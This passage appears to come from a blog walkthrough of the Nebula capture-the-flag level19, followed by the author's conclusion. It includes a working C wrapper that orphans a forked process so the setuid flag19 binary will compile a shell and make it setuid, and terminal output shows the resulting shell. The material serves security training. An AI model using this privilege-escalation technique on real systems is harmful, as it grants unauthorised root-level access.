This one had me completely lost. After studying the functions used, I resorted to getting a hint. Partially reading another walkthrough, I came to the section where it mentions a fork() operation on the flag19 binary. Basically, what it boils down to is the fact that when the process is forked and the parent dies, PID 1 (owned by root) will become the owner causing the checks we have in this binary to fail.

To go about this, we would have to write a small C wrapper that will fork itself. We need to give this wrapper a few seconds after the fork to finish off allowing the forked process to become orphaned. Once the process is in the orphaned state, we can execv() the flag19 binary and prepare a shell :)

So, to solve level19:

level19@nebula:/var/tmp$ vim pwn19.c
level19@nebula:/var/tmp$ cat pwn19.c
#include<stdio.h>
#include<unistd.h>

int main(void) {

    pid_t pid = fork();

    if (pid == 0) {

        char *arg[] = { "/bin/sh" , "-c" , "gcc /var/tmp/shell.c -o /var/tmp/flag19; chmod 4777 /var/tmp/flag19" , NULL};
        sleep(2); /* Give the fork 2 sec to orphan */
        execv("/home/flag19/flag19", arg);
        printf("Done fork\n");
        return 0;
    }

    printf("Done parent\n");
    return 0;
}

level19@nebula:/var/tmp$ gcc pwn19.c -o pwn19
level19@nebula:/var/tmp$ ./pwn19
Done parent

level19@nebula:/var/tmp$ /var/tmp/flag19
sh-4.2$ getflag
You have successfully executed getflag on a target account

conclusion

Even though many of the levels were really really easy, the latter levels did force me to learn a few new things which was great. I think this is some really good learning material for people new to the scene. Heck, I think I will refer people to this next time they ask about OSCP… ;)

As a final touch, my ‘loot’ in /var/tmp after finishing the last level:

comments powered by Disqus